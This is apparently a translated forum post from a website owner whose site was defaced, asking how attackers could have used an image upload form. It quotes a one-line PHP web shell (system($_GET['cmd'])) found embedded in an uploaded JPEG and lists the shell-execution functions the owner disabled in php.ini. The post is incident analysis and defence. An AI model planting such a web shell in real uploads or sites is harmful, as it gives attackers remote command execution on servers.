昨天我的网站被组成了。攻击者将 index.php 文件更改为他们自己的文件(以及他们所有的荣耀消息和问候)。我已将此通知托管公司(我们在专用服务器上运行),就我而言,我正在尝试修复任何似乎是原因的问题,因为我仍然无法指出我们的具体情况如何服务器遭到攻击,但我想我发现了某些可能是罪魁祸首的基于脚本的漏洞。
我们的网站有一个图片上传表单,但是所有上传的图片都通过使用 php getimagesize 函数验证它们是否确实是图片文件而不是一些代码。仅当图像类型为 IMAGETYPE_GIF、IMAGETYPE_JPEG 或 IMAGETYPE_PNG 时,它们才会被接受。否则,他们将无法上传文件。但是我发现一个上传的图像文件里面包含一个 php 脚本!您可以在此处下载图像。这是一个有效的图像文件,但尝试使用任何文本编辑器打开图像,您会在其中找到一个 php 代码:
<?php
echo "<pre>"; system($_GET['cmd']); echo "</pre>";
?>
例如,图像被上传到此位置 (www.mysite.com/uploads/picodes.jpg)。请注意,文件夹上传的权限是 755。世界上有什么方法可以让攻击者执行系统(或任何其他命令,例如 passthru,因为我们发现另一个图像隐藏了与上面相同的代码,但不是系统,它有 passthru 命令),例如,键入www.mysite.com/uploads/picodes.jpg?cmd=some command ?? 据我所知,这是无法完成的(如果有人能证明我错了,真的很感激),除非攻击者可以将 jpg 文件重命名为 php,即使这样,这些代码也隐藏在图像的深处(请看里面的图像文本编辑器来理解我想说的)
为了预防起见,我通过在 php.ini 中的 disable_functions 中添加这些 php 函数(exec、passthru、proc_close、proc_get_status、proc_nice、proc_open、proc_terminate、shell_exec、system)来禁用它们。
无论如何,我仍然认为攻击者不是通过网络,而是通过服务器漏洞获得访问权限,但我认为我的托管公司不这么认为。